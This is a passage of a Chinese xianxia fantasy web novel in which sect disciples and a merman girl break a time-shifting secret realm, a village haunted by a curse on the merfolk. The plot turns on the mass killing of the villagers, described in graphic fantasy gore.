就在她苦恼之时,手一擦碰到了什么,转头一看,是她的帝血剑。这时候石映心想起先前听过的故事: 【鲛人拿过剑,将剑尖刺入自己的下半身,自上而下劈开了鱼尾,血液浸透沙子,鱼尾变成了人腿——“你、你不疼吗?”“我不怕疼。”】 我怕疼啊!我怕!! 曾换月拿着这把莫名冒出来的长剑,哭唧唧地下不了手。她再次环视周围好几圈,仰天哭喊道:“师姐、师兄!你们在哪啊呜呜呜呜……” 老天奶明鉴啊,她可是连做菜都要买超市里片好的生肉生鱼片的,哪里会杀鱼啊??更何 况杀的是自己的血肉! 方才在海里还嘚瑟自己变成了美人鱼,甚至拿出留影珠拍照留念的曾换月,哪里想到自己过把美人鱼瘾的代价是要和她一样承受鱼尾变人腿之痛啊?这跟紫砂有啥区别! 她下不了手啊—— 还不如让别人来呢! 顾梦真想,他从不知道自己这么胆小的,拿着剑的手都在颤抖,忧心着等会劈歪了怎么办?不会两只腿歪歪扭扭胖瘦不一吧?嗐,如果映心和大师兄在这,就可以让他们二人帮忙,这两人剑法又好,定是杀鱼不眨眼的——对了,要不他用小木人? 思及此,他从储物空间里拿出了一个巴掌大的呆头呆脑小木人,这会又有些纠结,到底是变映心还是变大师兄呢?似乎并无多少差别,但对他的心态有些影响……还是变映心吧,大师兄冷冰冰一张脸,也不会安慰人…… 他把呆头呆脑小木人往前一扔,小木人变作师妹的模样站在他面前,手上拿着一把剑。 “映心……”顾梦真可怜兮兮地说,“这就是你展示剑术的时候了,你下手要快准狠,不要让师兄太疼啊!” “没事,”呆头呆脑石映心朝他淡定一笑,“不过是分条鱼。” 顾梦真:……等等要不我还是换大师兄吧…… 二师兄,这会反悔可来不及了哦。呆头呆脑石映心两三步走近来,居高临下地打量着他瑟瑟发抖的鱼尾,很快双目一定,仿佛找到了虾线,然后毫不犹豫手一抬,剑一挥—— 钻心的疼痛毫不意外地来了。 泉芷咬牙将剑继续往前推进,谁能有她疼得真切呢?毕竟只有她是真的长了鱼尾,尾巴上的每一处血肉每一片鱼鳞都连接着她的经脉,这疼痛要将她的脑壳劈开。 血液从裂开的肉中冒出来,将她含在眼中的泪水映红了,视线因此变得模糊不清,她满脑子都是好疼,苍白的双唇却紧紧抿着没有吱声。在几欲晕厥的思绪里,隐约浮起了回忆的故事泡泡: 【先祖用分鱼尾之痛为后人带来双腿,鲛人族得以进入新的天地。】 【先祖不怕疼吗?如果分鱼尾后是死不是活呢?】 【生生之谓易,不死不能生。】 可世上真有不怕死之人吗? 石映心从身下血沙中爬起来,满意地朝失而复得的双腿看了看,使了澄净诀将身上的沙子和血迹弄干净,这下她干干净净的一个人,仿若什么也没发生过一般了。她转头看向不远处的人家,打算去那边看看情况,一迈步—— 又摔下去吃了一嘴沙。 奇怪,怎么腿还是软的? 没想到自己还有学走路的时候。要是和归壹派众人说“那个明易啊,还不会走路就已经会御剑飞行了呢”,大多数人都会信的。当然这是假的,不过学走路对天才大师兄来说是件新鲜事,好在也不难。 重新适应了双腿之后,明易很快来到村门口,看着边上村牌石上写着三个字:海螺村。 是他们来时的那个海螺村吗? 先进去看看。 他迈步向前,却见村门口忽然出现一道无形的屏障,好险没撞上去——定睛一看,上头飘着几排字: 【此为九百年前的海螺村】 【改变海螺村怪异惨状,即可得解鲛人毒之法。】 【破境需入境,不破不出】 意思就是你进了这村,不破局就永远出不来了。 这跟明知眼前是鬼宅还要硬闯的傻蛋恐怖片有啥区别?曾换月好不容易狠下心分鱼尾、踉踉跄跄地来到村门口,原以为进去就能找到师姐师兄了,结果又看到这行字——天要塌了啊! 可往常天塌了有师姐师兄顶着,她是全然不怕的。这会她一人站在村门口,怀疑自己进入了单线剧情——她最讨厌的任务模式!! 进or不进,这是一个问题。 “师姐!!你在哪啊——” “映心!!” 顾梦真眼睁睁地看着呆头呆脑石映心被村门口的空气撞飞,然后啪叽掉在地上,恢复成了小木人的模样。 他连忙指挥着不受指挥的双腿左打右右绊左地扭过去,捡起了地上的小木人拍拍灰,叹了口气道:“映心啊映心,就是你的小木人也是这么冒进,不知道等等师兄……看吧,这下被打回原形了。” 把小木人收起来,他抬眼瞧见了空中漂浮的几排字,摸着下巴斟酌道:“走到这都没遇见映心她们,看来这是单人秘境了,得至少有一人破境才行……嗐,村里肯定很危险,要不我就在门口等着大师兄他们破境?” 说着就转了个身,但走两步又顿住了,纠结道:“若不是单人秘境呢,若是她们在里头等着我呢?若是这秘境只能靠我破呢?毕竟多一个人多一份力……我是二师兄,怎么能把希望寄托在两个师妹上?” 算了算了,进去吧。 进村之后,在村外看的冷清景色一下子变了,路上忽然多了几个村民,瞧着都是……正常人的样子,没缺胳膊没少眼睛,看着脑子也正常。 泉芷有些警惕,不过还是打算先找个村民问问情况,但不等她有动作,有一个女人忽然走了过来:“小芷,你采海螺回来啦?” 泉芷似有所感地低头一看,自己的腰侧挂着一个竹篓,里头装了许多海螺,她点了点头,再一望去——嗯?这个大姐是……陈二娟? 她试探地:“陈大娘?” 陈二娟笑着应道:“欸,你有空去和我家唯唯玩哈,她今早还念叨你呢。” 泉芷微愣:“啊?好。” 等陈二娟走了,她还在原地没回过神来:这里不是九百年前的海螺村吗?为什么还有陈大娘、还有唯唯? 先去看看唯唯吧,她是小孩,也许好套话一些……如果陈家还在那个地方的话,应该是往这边走。 一路走下去,明易见到了许多陌生又熟悉的面孔,比如没有在跳舞的方大哥,正常身量的黄家两口子,一家四口在院子里一边干活一边闲谈的瞧着脑子很正常的胡家人,还有……两只眼睛的唯唯。 唯唯转过头来瞧见来人,拿着布娃娃的手一张开,像长翅膀似的高兴地扑了过来:“映心姐姐,你来陪唯唯玩啦!” 石映心盯着她两只眼睛,点了点头:“嗯。” 唯唯把手中的布娃娃举起来给她看:“姐姐你看,是大姨给我做的布娃娃!” 石映心接过布娃娃一看,和先前的那只并无区别,除了多了一只眼睛:“很可爱……你大姨还没死吗?” 唯唯奇怪地一歪脑袋:“大姨好好的呀。” “……你外婆呢?” “外婆也好好的呀!” “你爹长了几只眼睛?” 幸好是天真简单的小孩,唯唯哈哈大笑起来:“姐姐,人当然是长了两只眼睛呀!一只眼睛的那是怪物!唯唯知道呢。” “一只眼睛也不是怪物。”曾换月拍拍她的头,笑容有些苦涩,“只是个可怜的小孩罢了。” “可怜的小孩?”唯唯眨巴眼睛,“姐姐你是说马有才吗?” “马?马有才是谁?” 唯唯道:“马有才是马叔叔的儿子呀,他和她娘都笨笨的,村里人都说她们是可怜的娘俩呢。” “为什么她们笨笨的?”顾梦真察觉到正常中的不正常,连忙追问道,“她们……是怎么回事?” 唯唯被他的激动吓了一跳,不过还是乖乖道:“马有才她娘是马叔叔在海边捡来的,听我娘说,她原本不笨的,后来不小心生了热病,就变得笨笨的了。但是马叔叔对她很好的,一点也不嫌弃她呢。只不过马有才也随了他娘笨笨的……对了,现在他有个妹妹,还在吃奶呢,不知道长大笨不笨……” 这个故事为何听来有些耳熟? 顾梦真觉得脑子不够用了:“这个马叔叔叫什么名字?” “马叔叔叫……”唯唯皱眉想了想,摇摇头道,“唯唯不记得了,马叔叔是前几年才来村里的外乡人。不过我知道马有才他娘叫什么,叫 ……绮……她叫泉绮!是不是很好听呀?” 第64章 泉绮。 泉…… 她怎么会姓泉呢?泉芷如遭雷劈,脑中一片耳鸣,她晃神地站了起来,这一下居然没站稳,还是唯唯扶住她道:“小芷姐姐,你怎么了?” 泉芷低头看她的两只眼睛:“……那我是谁?” “你是小芷姐姐呀。” “我从哪里来?” “嗯……这个,在唯唯的印象中,小芷姐姐一直都在的呀。” 嗐,这种我是谁、我从哪里来的哲学问题怎么能问小朋友呢?泉芷是有些糊涂了。好在有个不喜欢思考哲学问题的石映心,问了线索之后就往马家去了。 她推开马家院门,看见有一个女人抱着孩子坐在院中发呆。 这是个很漂亮的女人,黑长的头发又粗又亮,绑麻花辫垂在一侧肩上,肤色雪白,像浸满了海水似的水润饱满,身穿粗布麻衣也掩盖不了她的天资过人;听到有人进院的动静,她眉目失神地抬眼看来,双眸中一片朦胧。 石映心和她对视着向她走近,没分一个眼神给她怀中睡着的婴儿。 女人微微蹙眉,先问道:“你是谁?” 石映心说:“你是泉绮?” “你……” “娘子!我回来了。” 转头一看,一个年轻的男人怀中抱着一个三四岁大的孩子,一脸高兴地站在院门口,瞧见院里的人,他挑眉打招呼道:“明易,你来找我啊?” 明易不动声色地打量了男人,发现他长得有几分像马三:“嗯,可有时间?” “你来找我怎么会没时间?在这海螺村,我也就和你聊得来了。” 男人关了院门,把孩子放到女人边上,拍拍他屁股说“去找你娘”,接着就领着明易进屋了。进屋时明易瞧见边上的书房。 二人入座,男人倒茶来,一边倒一边叹了口气:“唉,我方才去胡家看诊,胡家媳妇这不总是怀不上吗?我去看了啊,发现那胡家小子酗酒很严重,一日中难得几个时辰清醒。我就同他直说了,这就是怀上了孩子也不健康。结果人家压根不把我的话放在心上,只说让我给她媳妇开药来。” 明易转了转茶盏:“你开了吗?” “开了啊,不然不让我走。”男人把手一摊,似乎很无奈,“怎么说也是别人的家事,我哪好多说?就是回来同你唏嘘一下罢了。” 明易:“可若是真生下一个有病的孩子……那该如何?” “该如何也是他们胡家该想的事,与我有何干系?” 明易抬眼看他,声音平板:“有病的孩子日后会生下有病的后代,子子孙孙,无穷匮也。” 男人诧异地看向他,嘴角一扯笑道:“老兄,你想得也太远了吧!” “这么说的话,那你的孩子……”顾梦真愁眉苦脸地看着他,“是不是长大之后也会给他找婚配啊?” 男人喝茶的动作一顿,含糊道:“我和夫人都会老,等我们老了之后谁照顾有才呢?” “那你的女儿……” “小女应是正常的。”男人松了口气,笑了笑,“我看过许多次了。” “你夫人不是中途才生的病吗?”泉芷漠然看着他,“为何她的孩子会和她一般痴呆?” 男人闻言,深深叹了口气:“是我医术浅薄,也是天意弄人啊。” 泉芷却是一笑:“呵,医术浅薄?真是过谦了。我看你明明是毒术过人,故意将泉绮毒成这样的吧!” 咚!茶盏被砸到桌上,男人勃然大怒道:“你胡说八道什么!” 泉芷站起来,玉笛拿在手中指着他,通红的双眼里满是痛恨:“马懿,我现在就杀了你为我鲛人族报仇!” 马懿目眦具裂地瞪着她:“鲛人……你竟也是……” 话音未止,人头先落。 她们不管不顾地在屋里翻找起来,企图找到一本记载解毒之法的禁书。满满当当的书格被明易一目十行地翻遍了;想着可能有密室的顾梦真把全屋都敲打过;曾换月将院中的土挖起来找宝藏;石映心把尸体拎起来抖了抖——啥也没有。 怎么会这样? 为什么找不到? 泉芷茫然地走出屋子,看见泉绮坐在院子中朝她看来,她边上还坐着两个小孩,大孩子抱着小孩子正在呼呼大睡。 她……她其实不知道怎么面对先祖。可还是一步步地走近了,像个做错事的孩子来认错:“先祖……我,我找不到……” 泉绮无神的双目看向她,声音冷淡:“你是谁?” “我……我是泉芷,我是鲛人……” “你究竟是泉芷还是鲛人?” 为什么这么问?她是泉芷,也是鲛人啊。 “别管我是谁。”石映心有些不耐地看着她,“告诉我解毒之法在哪。” 泉绮轻笑一声,抬眉道:“解毒之法就在你的身上。” 石映心:? 她身上有没有解毒之法难道她自己还不知道:“……你真是被毒傻了?” 泉绮:…… “好,”泉绮站起来,缓步朝她走近,脸上的笑容越来越大,“看在你的份上,我再给你们一次机会。” 石映心:“我不要机会,我要答案。” “……真是油盐不进的蠢物。” 泉绮不恼火地哼笑一声,嘴巴微张,一阵天籁歌声传入石映心的耳朵;与此同时还在翻书敲木头刨土的师兄妹三人如听仙乐耳暂明,两眼一直就晕了过去—— 【此为五百年前的海螺村】 【改变海螺村怪异惨状,即可得解鲛人毒之法。】 【破境需入境,不破不出】 曾换月揉了揉眼睛——她没看错啊,怎么又变成五百年前了?而且……她看了看自己的刷新点,是站在村里而不是村外……她还在秘境之中。 这意思是上一局崩了?现在要开局重来? 还能这样啊! 曾换月哭丧着一张脸,不明白自己做错了什么,但真是没招了,只好硬着头皮继续往村里走。 走着走着,忽然瞧见前边一片红火,好多人聚集在那很热闹。她定睛一看,似乎是唯唯家?才刚走进,听见有人叫她:“哎呀换月啊,可找到你了!” 曾换月张望了一下,怎么瞧不见人呢?她忽然想起什么,脖子僵硬地往下一咔,瞧见了矮矮的黄家女人。她怎么…… 黄家女人今日有做格外的打扮,喜气洋洋地拉着她说:“换月,你快进屋里去,唯唯找你呢!” “啊?唯唯?” “是啊!” 她被迫弯着腰,茫然地被黄家女人拉过人群拉进了屋里,然后往一个卧房里一推道:“新娘子有话和你说!” 新娘子?? 曾换月无措地走进屋里,看见那个背对着她的、穿着红嫁衣的身影,一时呼吸都不会了,只怕转过来一张…… 好险,还是两只眼睛:“换月姐,你方才去哪了?” 曾换月看着唯唯新娘子的装扮,有些陌生有些熟悉,但幸好还是正常的:“我、我有些事……你,额,找我有事?” “是呀,”唯唯微微嘟嘴,装作不高兴道,“你等会可是要送我出嫁的,可别走丢了。” “我送你出嫁?” 见她一脸惊讶,唯唯还觉得奇怪呢,走过来拉住她的手说:“是呀,自从我娘去世后,我只剩下你一个姐姐了……我们胜似亲人,这可是姐姐你说的。” 啊?陈大娘死了?? 这下连曾换月都控制不住地问道:“你娘为什么死了?” “姐姐你忘了?娘她患了和外婆还有大姨一样的病,苟延残喘几月就去了……”说着说着她也伤感起来,抹去眼角的一滴泪,挤出一个笑道,“现在村里都传我也有这病呢,不过幸好我相公不在意,他说会一辈子对我好……” “什么?”曾换月脑子一团浆糊:“陈大娘……还有他、你相公……” 唯唯陷入到自己的思绪中,出神地喃喃道:“他是个很好的人,踏实能干,温柔体贴,哪哪都好,虽然……只长了一只眼睛。” 一只眼睛。 曾换月看她的红唇一开一合,什么也听不进去了。 这是什么情况?怎么会这样…… 她惊慌地离开了这片喜气洋洋的红,往马家跑去。她想问个明白,这一切究竟是怎么回事? 他跑过方家,瞧见一个在院子里跳舞的小孩,院外有两个村民在说话,说方家男人不该娶马家的女儿,生下来这样的古怪小孩。 她跑过黄家,听见一个清脆巴掌声,女人骂道:“别以为我不知道你和那个小贱人的肮脏事!”男人也是怒气腾腾:“我当初就不该找你这矮冬瓜!生了一个小冬瓜!你要有本事,你也去找野男人!”女人气急败坏:“我原以为你长这么高能和我相抵,没想到你这么没用!” 他跑过胡家,门口有三人在拉扯,一个老太婆左手拉着一个年轻女人,右手指着一个醉醺醺的男人骂道:“我遭天谴生了你这么个不争气的儿子,好好一个人嗜酒成性神志不清,跟个傻子也没区别!活该只能娶真傻子!” 泉芷推开马家的院门,看见马二婷在屋里浇花,她转过头来,笑了笑道:“小芷,你不是正在唯唯家忙活吗?” 泉芷愣了愣:“……马二婷?” 女人也是一怔,忽而笑道:“我是嫁给了马三不错,但我没改夫姓呀,你还是叫我李二婷吧。” “马……”顾梦真双眼发直,“马几?” 这时屋里出来一个抱着孩子的男人,正是马三,他笑着打招呼道:“欸,梦真你怎么来了?小懿,快和叔叔打招呼。” 马懿从他爹的怀里抬起头来,朝他招了招手:“映心姐姐好。” 石映心直勾勾地盯着马懿:“你这孩子有病吗?” 夫妇俩一愣,对视一眼,还是马三尴尬解释道:“嗐,据我爹说,我嫁给方家的妹妹已是我们马家最后一代有病的孩子了。自我和马懿开始……便都是正常人。你也知道了,我往上十八代祖宗就开始下了铁令,说只能娶正常人……” “原来……”明易轻轻一声嗤笑,“他早就知道了。” 现在大家都知道了,可知道问题和解决问题是两回事。 “都是你害的……” 泉芷一步步朝他走近,通红的双目里溢出泪花,落在地上变成自在的珍珠。她猛然攥住马懿的衣领,一字一句道:“都是你害的!这一切都怪你!” “小芷你做什么!”马三惊慌地要后退,但怎么也掰不开泉芷的手,“小芷?你怎么了?” 泉芷恶狠狠地喊:“我要杀了他!我要杀了他!” “你下得了手吗?” 泉芷转头一看,李二婷……不,泉绮站在那,面无表情地看着她:“你看清楚了?他如今只是个普通的孩子。” 马三紧接着说:“是啊,小懿只是个小孩,他就是犯错了也是无心的,小芷你不要生气,我代他和你请罪……” “不、不……”泉芷颤抖的手还不愿意放开,她摇摇头,晃着的视线看向那个一脸天真的小孩,“他就是他,他就是他!我知道……他就是他!先祖,我要怎么办……” “杀了他呀,不是你说的吗?” 泉芷泪流满面地逼问着:“马懿,你不要再装了!告诉我解毒之法!” “原来是这样。” 石映心睁开眼睛,静静地目视前方:“这确实是个办法。” 泉绮盯着她,笑容有些古怪:“我只是一念残魂,你竟也能照?看来是我低估了你的本事……小镜灵。” “我不是镜灵,我是石映心。” 泉绮哈哈笑起来,鲛人的声音清脆悦耳:“你是你,你也不是你。照别人的心思、解别人的难题很容易对吗?今日方知我不是我,石映心,终有一天你也会明白这句话……” 她走近来,麻花辫散开,长发便飘逸着,五官渐渐朦胧了起来;她的双腿变成了鱼尾,身姿挺拔地立在土地上,双目注视着天空,仿佛在遥望着什么。 泉绮说:“杀了我,让我死在你的帝血剑下。” 石映心:“你怎么知道我的剑叫帝血剑?” 泉绮却不再作答,一句又一句地重复起来:“杀了我……杀了我……杀了我……杀了我……石映心!” 帝血剑劈开鲛人迷惑人心的声音。 一念残魂便无影无踪了。 第65章 咕噜噜…… 咕噜噜…… 哪来的水声? 泉芷猛然回过神来,摇摇头晃出脑中的水声。再一睁眼定神,就瞧见自己还在马家院中,双手攥着小马懿的衣领。她记起自己说要杀他的事,但不知方才为何走神了,仿佛去了一个很远很远的地方…… 转头一看,已经不见了泉绮的身影,只有李二婷警惕地拉住她的手腕说:“小芷,你冷静一点!有什么事好商量。小懿只是一个三岁小孩……” “不!他是——” 咚。 泉芷正要分辨,但手上被什么砸了一下,她诧异看去,手背上沾了血,视线一移,地上有一个球正在滚动——正是马懿的小脑瓜。 说要杀人的她却是吓了一跳,好像只是揪着领子的她真的是罪魁祸首。泉芷和地上的马懿对视着,诧异地退了一步,又听一声“咚”,她抬眼看去,抱着无头孩子的马三这会也是无头人了。 “怎么……”回事? 咚。她猛一转眼,这次掉头的是李二婷。 什么意思? 她们为何一言不合就掉头了? 看着院里三个咕噜噜的人头,泉芷感到自己的头也摇摇欲坠起来,她下意识往院子外跑,冲到路上看见两个村民,见她惊慌失措的模样还有些奇怪,正张嘴要问的时候就咚咚了。 “啊!”曾换月发出一声惨叫,两脚几乎腾飞地避开了脚边的人头,闭上眼睛往唯唯家跑去。 搞什么啊!! 跑吧,跑啊。 院子里跳舞的人旋转跳跃甩飞了头颅,他的脑袋落在树枝上,默默地注视自己不受控的身体接受死亡的安排倒在地上。身首分离是它和它最好的归宿,毕竟从来也不熟的。 这家门口,黄家女人倒在黄家男人身上,五百年前她竟然只有对方的一半身量,但脑袋是一模一样的大,二人双目相对着,脸上还带着一些笑意——分明方才还吵过架呢,真是对长情夫妻。 再往前跑,胡家三人还在门口吵架,这时院子里冲出来一个拿着酒壶的老头,醉醺醺地把酒壶往他同样醉醺醺的儿子头上一砸,他儿子脑袋就被砸掉了。老太婆发出一声尖叫,气急地推了老头一把,老头也是呆呆地往墙上一撞,咚。 老太婆吓晕了,倒在地上,咚。 傻女人漠然地看着这一切,忽然抬起眼来看向跑来的顾梦真,在他惊惧放大的眼中把自己的脑袋扭掉。 顾梦真满眼血色,感到有人掐住了自己的喉咙,他发不出声音,只埋头苦跑。 一路跑来一路死人,一个个人头仿佛在为他们指引方向,但怎么都赶不上这暗中凶手的杀人速度。 血液在地上流淌,血气在空中弥漫,海螺村被浸染渗透;红脚印一步一显,错乱着往前延展去,所经之处岁月如袭来的海水,一涌翻去几百年。 “唯唯!” 顾不上死在门口的陈二娘,她破门而入,瞧见唯唯背对着坐在院中,正摇着扎了两个小揪揪的脑袋哼着歌,和手中的单眼布娃娃说话。 听到有人叫她,她欣喜地回过头来,一只眼里笑意盈盈:“姐姐你回来啦?娘说你们去了河那边……” 曾换月连忙扑过去把她抱在怀里,一只手按住她的头,生怕一眨眼这颗小脑袋就错位掉下来了。 唯唯很是奇怪,视线顺着从门口进来的血脚印转到曾换月鞋上,心中感到一些茫然的可怖:“姐姐,地上好多血……” 曾换月顾不上回复她的话,她已分不清自己在哪里,九百年前还是五百年前?亦或是已经回到了真正的海螺村? 她不知道,只感到一种可怖的威压正在逼近,手中紧捏着几张符纸,警惕地打探着四周,忽然发现门口踩入了另一对脚印,正缓步朝她们走来。 “不要过来!”她吓得头皮发麻,尖声大喊道,“你是谁?为什么要杀这么多人!?” 血脚印停在了 二人面前,似有些疑惑。 曾换月猜出这坏蛋应是和她们在不同时空,但她在那里杀的人在这里也会死……怎么办,如果让这人找到了另个时空的唯唯…… 事到如今,只有将所有时空融合,然后让师姐师兄对付他,可是…… 曾换月看着手中的破境符,这是元婴期才能学的符箓,她先前是画来玩的,再说她画的符大多都是效果诡异,这张她哪敢用啊?真是到了死马当活马医的关头才硬着头皮一试——比如现在。 唯唯小心地看她:“姐姐,我娘呢?” “嘘,唯唯乖,等会带去找你娘。” 她真是没招了,只好下定了决心,施法启动了破境符,好在是有发挥效用的,只见空中浮光一闪,竟隐约瞧见一个拿着剑的人影站在院里。她一眼就认了出来,欣喜大喊道:“师姐!!” 那人影往她的方向看来:“换月?” “师姐!”曾换月差点要哭出来,抱着唯唯过去抓了抓那虚影,但什么也没摸到,“师姐,你在哪啊?你看得到我吗?” 石映心点点头又摇摇头道:“我只瞧见一个……两个影子。唯唯在你身边?” “是!”曾换月紧忙道,“村里人全死了,只剩下我和唯唯,师姐,我不知道怎么办了……” “为什么唯唯不在我这?”石映心奇怪地嘟囔了一句,很快又把这问题抛到一边,“算了,不重要。换月,我已经找到了破境的办法。” 不愧是师姐!“真的吗?太好了,是什么办法?” 石映心的声音听起来很寻常:“只要杀了全村人,秘境就会消失。” “什……” 她瞧不见师妹目瞪口呆的表情,继续说着:“我一路杀过来,应是杀得差不多了,只是没找到唯唯。换月,既然她在你那,你把她杀了吧。我去外头看看有没有遗漏的村民。” 她说完就往外边走,走到几步远外就不见了,等曾换月从“师姐杀了全村人”的震惊中回过神来时,石映心已经连个虚影都瞧不见了。 “等等,师姐……”她惘然地看着门口,“我做不到啊。” 她看见怀里的唯唯正抬头看着她,天真的单眼里有缥缈的害怕和不解:“换月姐姐,你要杀了我吗?” “我……”曾换月下意识摇了摇头,但很快就停住了脑袋,不知做出什么表情面对她,“唯唯……我,我不知道……” 她原以为来到修仙世界这么些年早已习惯了这一切,习惯小师妹的身份,习惯学那些鬼画符,习惯面对神奇的生物……就算没到元婴就下山又如何?有师姐师兄保护,世间的一切都只是新鲜。 如今才明白,原来她是只坐井观天的青蛙,安居于归壹派里一派和谐的好日子,只瞧见师姐师兄的剑光照亮的一方天地。她还没面对几个过凶神恶煞之徒,第一个对手是这个单眼的、手无缚鸡之力的小姑娘…… 偏偏是个好人。 她宽慰自己,说这里只是秘境,指不定这些村民都是假的,一定是假的!但如果是真的……如果是真的……她怎么下得了手呢?可不杀了唯唯,她们就要一直困在这里。 她一人就算了…… 曾换月纠结中也有坚决:但师姐和师兄不能被她拖累。 所以只能……对不起了。 曾换月死死咬着的唇一松,飞快地掏出一张符箓贴在了唯唯的额间,见她好奇地转着眼珠子打量,还要伸手去拿——她狠心地抓住了她的小手,低声道:“唯唯,等你睡着了就不疼了。” “姐姐,”唯唯蹙着她稀薄的小眉毛,“你怎么了?” 曾换月喃喃地说:“我对不起你……” 唯唯目露同情地看着她:“唯唯没关系的,我死了之后就什么都不知道了,如果你一直记得,你会难过。” “……唯唯,你不怕死吗?” 唯唯额间的符箓发起光来,照得她的小脸有几分透明,她突然多长了一只眼睛出来,一双圆圆的杏眼笑意盈盈地看着她,声音有些缥缈:“姐姐,若你知道世上有一死便能解决的业障,那死便是恩赐了。我已经困在这里太久太久,久到我不知道……今生的我到底是谁……” 她用空出来的手轻轻覆上曾换月的手背,拍了拍道:“你别怕,我应该……谢谢你……” 曾换月茫然地明白了她的意思,死对她来说是解脱。可即使告诉自己是在帮她,亲手送走一条生命也让她的心沉甸甸的。她将沉睡的唯唯抱起来,出了院子往村外的海边走去。 在醒不来的睡梦中溺死,这是她能想到的、形式上较为温和的死亡方式了。 ……她不是说师姐残暴的意思哈! 说到她师姐,石映心不知道师妹下不了手杀人,还以为唯唯已经死了,秘境未破是因为村民还没死光,这会正在忙忙碌碌寻活人呢。 奇了怪了,以她的六识,若是哪里有动静应该很快就能发现才是,除非那人一动不动。可她都已经从村尾走到村头了,还没什么发现…… 等等。她恍然间感到什么,往前几步走去,很快瞧见对面显出一个虚影来,石映心一下心情开朗:“大师兄!” 明易脚步一顿,自然也瞧见她了:“映心?” 石映心应了一声,又说:“大师兄,你有见到什么活人吗?” 明易默了默道:“村里人都是你杀的?” “是啊,我照了泉绮,这就是她的办法。” “原来是这样。”明易似乎叹了口气,“我一直在马懿书房中找线索,在一处机关中找到了一本书……算是发现了海螺村的真相。”然后出来人就死光了。 “哦。”石映心对真相不是很感兴趣,只是说,“师兄,你那里有活人吗?把他们杀完我们就能出去了。” 明易想了想:“村中共有144人,你杀了多少人?” 石映心哪里记得啊:“忘记了。” 明易换了个问法:“你杀过最老的人和最小的人是谁?” “一个八旬,一个两三岁?”她说到这里想起什么,“不过我杀着杀着,发现这会已经是我们刚来时的那个海螺村了,不是九百年前五百年前的……似乎哪里有些奇怪,不过问题不大,我见着的人都死了。” 明易颔首道:“果真如此,看来确实还有一人活着。” “谁?” “走吧。” 第66章 石映心一路跟着他又往村尾走,原本以为大师兄要去唯唯家还想出口提醒,却见他一拐进了唯唯家隔壁。侧过脑袋和她说:“还记得吗?马老死的那晚,陈大娘说过隔壁人家生了个孩子。” “哦!”石映心想起来了,“我方才在这家只杀了一个卧床的女人。没见着刚出生的小孩。” “嗯,四处找找吧。” 二人掀锅开柜地找了一会,石映心从茶壶里抬起眼道:“这婴儿真聪明,竟然不哭不闹的。” 明易轻笑道:“自然不是普通小孩。” 石映心动了动脑子:“方才那个女人躺在床上奄奄一息,感觉我不杀她也要死了,她有力气把孩子藏得多远呢?定是就在身边。” 她说着就往卧房走去,明易紧跟其后,一进屋差点踢到滚到门边的人头,四目相对确实有些惊人,他忍不住道:“映心,你为何总砍她们脑袋?” 石映心脑袋一歪:“比较顺手呀,戳心的话刺进去还要拔出来,这就是两个动作了。” 明易嘴角微抽:“你真是一个……天生的剑修。” 石映心点点头:“师兄你也是。” 明易:……应该是夸奖吧,嗯。 二人走到床边,发现了古怪之处:明明天气不凉,女人却盖着两床被子。石映心把上面那层掀起来,看见下面那一层被子染了大圈的血。真是奇怪了,她砍的是头,枕上有喷溅的血正常,可身上哪会流血呢? 于是又把下面那层掀开,看见了答案—— 原来是女人将肚子剖开,把孩子重新塞进去了。松弛的皮肉歪歪扭扭地被撕扯开,并不严实地罩住了里头微微起伏的生物,裂开的缝中血肉模糊,此时还在随着肚中婴孩的呼吸而溢出血来,仿佛源源不断。 边上摆着一把生锈的菜刀,刀刃卡着一些肉末。 “大概是她瞧见我杀人了,所以才想到这办法。”石映心有些感慨,“为了保护孩子,死前还要活受罪,可惜多此一举。” 明易叹了口气,把女人的肚皮扒开,瞧见了里头蜷缩的孩子。这小孩慢吞吞地睁开被血肉粘连的双眼,懵懂而冷静地和他对视上。 师妹在后边说:“师兄,快杀了他。” 明易没有回头:“映心,你知道他是谁吗?” 石映心:“我需要知道吗?那师兄你说吧。” 明易将手卡在婴孩不明显的脖颈之间,一字一句道:“他就是马懿。” 话落手一扭,结束了他这短暂的一世,漫长的一生。 * 咕噜噜…… 咕噜噜…… 咕噜……噜…… 石映心醒来,自己正漂浮在海中,腰上捆着连连绳,顺着绳子看去,边上横七竖八地飘着她的师妹师兄和泉芷。 秘境已破,她们出来了。 不等她去叫醒他们,几人相继醒来,皆是茫然地面面相觑了一会,海里不好说话,还是决定上岸再说。 这会是晚上,海水深黑,几人游出海面,却见不远处的岸上一片灯火,照得水面浮光片片,隐约还有人声乐声传来,瞧着很热闹啊。 顾梦真抹了一把脸,神情呆滞:“这、为什么这么多人……” 泉芷默了默道:“应是宗主他们发现了我们偷窃宗主令、擅闯禁地一事,要来捉拿我们回去问罪……” 顾梦真瞪眼看向那岸上的一大片:“来的人真不少啊,需要这么兴师动众吗?我们难道是什么大坏人?” “罪上加罪,宗主定是气坏了。”泉芷叹了口气,又转头来朝几人道,“几位放心,在下一人做事一人当,绝不会连累你们。” 石映心说:“可我们是五人做事。” 泉芷笑道:“你们只是念在朋友之情,推脱不了我的百般请求,在禁地之外帮我放哨。” 曾换月拍拍胸脯,瞧着很义气:“既然你把我们当朋友,那就没有让你一人背锅的道理。你放心,就是看在归壹派的份上,你们宗主也不会太为难我们。” 泉芷心中很是感动:“可是……” 明易总觉得事情不是这么简单:“我们几人一同消失了这么久,先前也说过因果牌的事,赵宗主想必是心知肚明的。既然做错了事,就坦然面对吧,是骡子是马,去岸上看看便知。” 石映心扭头打量:“哪里有骡子?” 明易:……有时候真不知道她在课上学了什么。 曾换月拍拍泉芷肩膀:“大师兄说的没错,虽然我们是同林鸟,但是大难临头还是不要各自飞了,一起飞也有照应嘛。” 泉芷:“嗯?” 明易:……疑似找到罪魁祸首。 不管如何,几只同林鸟还是要飞去岸上看看是骡子是马。 走近了之后,只见岸上呈方阵的合欢宗弟子,个个都拿着本命法宝,一排琴一列鼓地站在那,阵仗很大。许多弟子方才还凑在一起偷偷嘀嘀咕咕嘻嘻哈哈的,这会见她们几人从海里出来,个个闭上嘴巴,严肃地端正态度。 赵有志和安蔚然站在最前方,脸上没什么表情,只是默然盯着几人从海里爬出来,然后万众瞩目地走上前来。 泉芷先跪下了:“宗主,师父,都是泉芷的错……” 明易几人在后边行礼,安分地没说话。 赵有志哼出一声气,伸出手:“还不把我的宗主令还来?” 泉芷麻溜地把宗主令献上,赵有志拿过来赶紧收着,咬牙道:“你真是叫本座丢尽了面子!” 泉芷唯唯诺诺:“弟子知错,甘愿受罚。” 赵有志:“哼!” 安蔚然微微颔首道:“好了,快些起来吧,去归队站好。” 